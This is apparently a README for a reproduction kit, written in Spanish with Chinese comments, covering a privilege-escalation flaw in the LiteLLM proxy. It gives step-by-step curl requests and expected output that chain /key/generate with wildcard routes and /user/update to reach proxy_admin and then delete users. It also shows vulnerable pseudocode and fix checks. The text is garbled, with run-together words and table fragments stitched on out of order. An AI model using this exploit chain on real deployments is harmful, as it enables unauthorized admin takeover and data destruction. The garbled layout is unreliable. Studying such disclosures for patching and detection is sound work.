
El código para reproducir personalmente la vulnerabilidad correspondiente
/key/generate + /user/updateEl endpoint
/key/generatede LiteLLM v1.82.6 (versiones anteriores a v1.83.14) permite a uninternal_usercon privilegios bajos solicitar una API key con rutas comodín["/*"]y, posteriormente, a través del endpoint/user/update, elevar su propio rol aproxy_admin, logrando una escalada de privilegios no autorizada.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorización incorrecta) |
| Afecta | LiteLLM < 1.83.14 (confirmado en v1.82.6) |
| Corregido | v1.83.14+ (se añade la validación de rol de allowed_routes) |
| Publicado | 2026-05-21 |
| Descubierto por | Fenix Qiao (13ph03nix) — Obsidian Security |
| Enlaces | NVD |
El endpoint /key/generate de LiteLLM se utiliza para generar API keys, y /user/update para actualizar atributos de usuario.
Las comprobaciones de autorización de estos dos endpoints presentan tres fallos encadenados que un usuario con privilegios bajos puede explotar en serie:
/key/generate no valida allowed_routes — cualquier rol (incluido internal_user) puede solicitar rutas comodín ["/*"]allowed_routes — la key comodín generada puede acceder a todos los endpoints de administración/user/update permite la automodificación del campo user_role — con la key comodín se puede elevar el propio rol a proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
La salida esperada debe incluir registros de inicio correctos, como Uvicorn running on http://0.0.0.0:4000.
Utilice la master key para crear una cuenta de internal_user con privilegios bajos:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Salida esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Anote el user_id y la key devueltos; los necesitará en los pasos siguientes.
En calidad de internal_user, llame a /key/generate para solicitar una API key con rutas comodín ["/*"]:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Salida esperada:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Punto vulnerable: ¡
internal_usergeneró con éxito una API key con rutas comodín["/*"]! Esta key puede acceder a todos los endpoints de administración, incluidos/user/update,/user/list, etc.
Utilice la key con rutas comodín para llamar a /user/update y eleve el rol del usuario a proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Salida esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Punto vulnerable: ¡el
user_rolecambió deinternal_useraproxy_admin! El endpoint/user/updatepermite al usuario modificar su propio campouser_rolesin ninguna restricción de privilegios.
Verifique que la elevación de rol ha surtido efecto a través del endpoint /user/list:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Salida esperada:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
El endpoint
/user/listsolo permite el acceso al rolproxy_admin. Obtener la lista de usuarios con éxito confirma que la escalada de privilegios ha surtido efecto.
Aprovechando los permisos de proxy_admin obtenidos, puede eliminar cualquier usuario mediante /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Salida esperada:
1
Los pasos anteriores se han integrado en demo.sh y se pueden ejecutar directamente:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
Inicie la versión corregida (v1.83.14-stable) para verificar que la vulnerabilidad ha sido corregida:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
Crear el internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Intente generar una key con rutas comodín (se espera que se bloquee):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Salida esperada (la versión corregida bloquea la solicitud no autorizada):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Comparación con la versión vulnerable:
| Escenario de prueba | Versión vulnerable (v1.82.6) | Versión corregida (v1.83.14) |
|---|---|---|
| internal_user solicita |
POST /key/generateGenera una nueva API key. El parámetro allowed_routes se utiliza para limitar la lista de rutas de endpoints a los que la key puede acceder.
| Campo | Tipo | Obligatorio | Descripción |
|---|---|---|---|
allowed_routes | array | No | Lista de rutas permitidas; por ejemplo, ["/*"] indica todas las rutas |
POST /user/updateActualiza los atributos del usuario, incluido el campo user_role.
| Campo | Tipo | Obligatorio | Descripción |
|---|---|---|---|
user_id | string |
Como internal_user, llame a /key/generate para solicitar una key con ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
La respuesta incluye la nueva API key, que tiene permisos de rutas comodín.
Utilice la key comodín para llamar a /user/update:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
La causa raíz de la vulnerabilidad reside en tres comprobaciones de autorización independientes que faltan:
/key/generate — Falta la validación de rol de allowed_routesEl endpoint /key/generate acepta el parámetro allowed_routes y lo asocia directamente con la key, sin comprobar el rol del solicitante. Incluso un internal_user puede solicitar permisos de rutas de nivel administrador.
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
Al comprobar los permisos de ruta, si falla la comprobación de autorización a nivel de rol de usuario, el middleware recurre a la lista allowed_routes de la API key. Dado que ["/*"] coincide con todas las rutas, todos los endpoints de administración quedan permitidos.
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — Permite la automodificación de user_roleAl actualizar atributos de usuario, el endpoint /user/update permite que los usuarios modifiquen su propio campo user_role, sin ninguna restricción. Solo el rol proxy_admin debería tener permiso para modificar roles de usuario.
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
La versión corregida añade comprobaciones de autorización en los tres aspectos siguientes:
/key/generate — Nueva validación del parámetro allowed_routes: los usuarios normales no pueden solicitar permisos de rutas de nivel administradorallowed_routes/user/update — Se restringe el permiso de modificación del campo user_role: solo proxy_admin puede modificar roles de usuarioCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update con cambios de user_role para detectar actividad anómalaDescargo de responsabilidad: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
["/*"]| ✅ Genera la key comodín con éxito |
| ❌ Bloqueado (HTTP 403) |
| La key comodín modifica user_role | ✅ Eleva a proxy_admin con éxito | ❌ Bloqueado |
| La key comodín accede a /user/list | ✅ Obtiene la lista de usuarios con éxito | ❌ Bloqueado |
| Sí |
| ID del usuario que se va a actualizar |
user_role | string | Sí | Nuevo rol (por ejemplo, proxy_admin) |